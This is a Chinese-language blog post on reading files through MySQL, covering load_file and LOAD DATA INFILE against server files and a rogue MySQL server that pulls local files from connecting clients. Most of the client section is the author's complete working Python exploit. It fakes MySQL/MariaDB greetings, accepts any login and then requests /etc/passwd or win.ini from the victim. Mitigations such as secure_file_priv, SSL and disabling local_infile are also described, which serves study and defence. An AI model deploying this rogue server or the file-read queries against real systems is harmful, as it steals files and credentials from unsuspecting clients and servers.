MySQL之文件读取

读取服务端文件

读取文件利用方式

  • load_file()
select load_file('/etc/passwd')

  • load data infile()

利用该函数读文件时需要将文件内容保存至一个表中,在方便查看结果的情况下,一般最好自己创建一个新表来保存查询的结果。

-- 创建存储结果的表
create table result(cmd text);
-- 读取文件内容到表中
load data infile '/etc/passwd' into table result;
select * from result;

这里读文件和select函数需要一起使用才能获取到即时的文件内容,若分两次执行将不会获取到文件内容。通过这样执行sql语句可以保证数据库的表中不会存储任何内容。

防御方式

通过启用MySQL的secure_file_priv配置即可管理,具体配置有三种:

NULL:MySQL服务器将禁用导入和导出操作,即无法读取和写入任何文件
:值为空代表该项配置无效
目录名:MySql服务器的导入和导出操作将被限制在配置的目录中

一般默认情况下,该配置在MySQL的默认配置如下

平台 默认值
WIN >=5.7.16默认值为NULL,<5.7.16则为空
DEB, RPM, SLES, SVR4(unix/linux) /var/lib/mysql-files
Otherwise(自行编译版本) 基于CMAKE编译时手动配置参数
具体可参考MySQL官网说明sysvar_secure_file_priv
secure_file_priv参数可通过执行如下sql语句查询值:
show variables like '%secure_file_priv%';

可通过修改my.cnf文件修改该配置:

读取客户端文件

利用方式

MySQL客户端连接到一个服务器时,通过伪造一个MySQL服务器可以通过发送读文件的数据包来读取客户端的文件内容。MySQL官方认为MySQL客户端不应该连接到不受信任的服务器,所以不认为这是一个漏洞,然后从MySQL8.0.21开始将客户端读取文件的的操作限制在一个指定的目录中。
读取文件的流程:

  1. 伪造的服务器向客户端发送Server greeting包
  2. 客户端发送登录验证的请求
  3. 伪造的服务器响应验证成功,等待客户端发送select查询
  4. 伪造的服务器回复给客户端一个要求读取本地文件的请求
  5. 客户端发送本地文件内容给伪造的服务器

参考官网的一个流程图:

贴一下自己写的利用源码:

# coding: utf8
import socketserver
import random

dict = {
    "linux_filename": "/etc/passwd",
    "windows_filename": 'c:/windows/win.ini',
    'os_linux': b'\x05\x4c\x69\x6e\x75\x78',
    'os_windows': b'\x05\x57\x69\x6e',
    "mysql_native_password": b"\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00",
    "ok": b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00",
    "select": b"\x73\x65\x6c\x65\x63\x74"
}
# 使用多种类型的mysql server指纹
greet = [b'\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x32\x36\x00\x04\x00\x00\x00\x33\x4e\x10\x34\x48\x4b\x2f\x13\x00\xff\xf7\xc0\x02\x00\xff\x81\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4a\x07\x56\x66\x56\x6d\x4f\x5f\x70\x34\x6c\x2a\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
b"\x5b\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x2d\x31\x30\x2e\x33\x2e\x32\x32\x2d\x4d\x61\x72\x69\x61\x44\x42\x2d\x31\x00\x0f\x00\x00\x00\x39\x57\x29\x65\x42\x58\x74\x60\x00\xfe\xf7\x2d\x02\x00\xbf\x81\x15\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x63\x52\x50\x7b\x3a\x4e\x5a\x5a\x33\x2e\x2e\x3a\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"]

class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        try:
            # 服务端发送问候
            self.request.send(greet[random.randint(0, 1)])
            # 客户端发送密码验证
            data = self.request.recv(1024)
            if dict["mysql_native_password"] in data:
                filename = '/etc/passwd'
                # 基于数据包自动读取linux文件
                if dict['os_linux'] in data:
                    filename = dict['linux_filename']
                # 基于数据包自动读取windows文件
                if dict['os_windows'] in data:
                    filename = dict['windows_filename']
                # 发送用户名密码验证成功数据包
                self.request.send(dict["ok"])
                data = self.request.recv(1024)
                # 客户端请求select @@version,发送读取文件请求
                if dict["select"] in data:
                    print('[+]客户端发出select请求,发送读取文件数据包...')
                    data = chr(len(filename) + 1).encode() + bytes.fromhex('000001fb') + filename.encode()
                    self.request.send(data)
                    data = self.request.recv(10240)
                    print(data[4:].decode())
                else:
                    print("[-]客户端未发出select请求,无法正常请求读取文件!")

        except ConnectionResetError:
            print("[-]%s断开连接" % self.client_address[0])
        except Exception as e:
            print(str(e))
        finally:
            self.request.close()

    def setup(self):
        print("[+]%s 连接" % self.client_address[0])

    def finish(self):
        print("[-]%s 断开连接" % self.client_address[0])

if __name__ == "__main__":
    host, port = "0.0.0.0", 3306
    print("[+]rouge_mysql server is listening at port %s ..." % "".join([host, ":", str(port)]))
    try:
        server = socketserver.TCPServer((host, port), MyTCPHandler)
        server.serve_forever()
    except KeyboardInterrupt:
        print("[+]rouge_mysql server exit!")

脚本对客户端的系统类型进行了判断,在客户端连接时可自行读取对应的系统文件。

这里复现时使用的客户端版本为MariaDb10.3.23,相当于MySQL的8.0版本。

由于这里客户端的local_file参数默认配置为关闭,因此在复现时在客户端使用了如下配置:

一般情况下MySQL5.7及以下的版本都可以读取到文件

若未设置该参数时,读取的结果如下:

设置该参数后,读取的结果如下:

这里只通过MySQL二进制客户端进行了演示,对于其他类型的客户端(云服务、php、jdbc等)的利用分析可以参考文后链接中seebug的文章。

防范方式

  • 启用MySQL的SSL配置:由于启用SSL后MySQL的QPS(每秒查询率)将会下降很多,可能对业务会造成比较大的影响,因此对于实际业务量不大的MySQL服务器可以考虑使用SSL。
  • 使用默认配置local_file关闭的客户端(升级到新版本或自行编译源码将该参数关闭)或者参考seebug文章中在代码中的修复方式进行修复。

参考链接

posted @ 2021-02-03 11:21  flashine  阅读(1029)  评论(0编辑  收藏  举报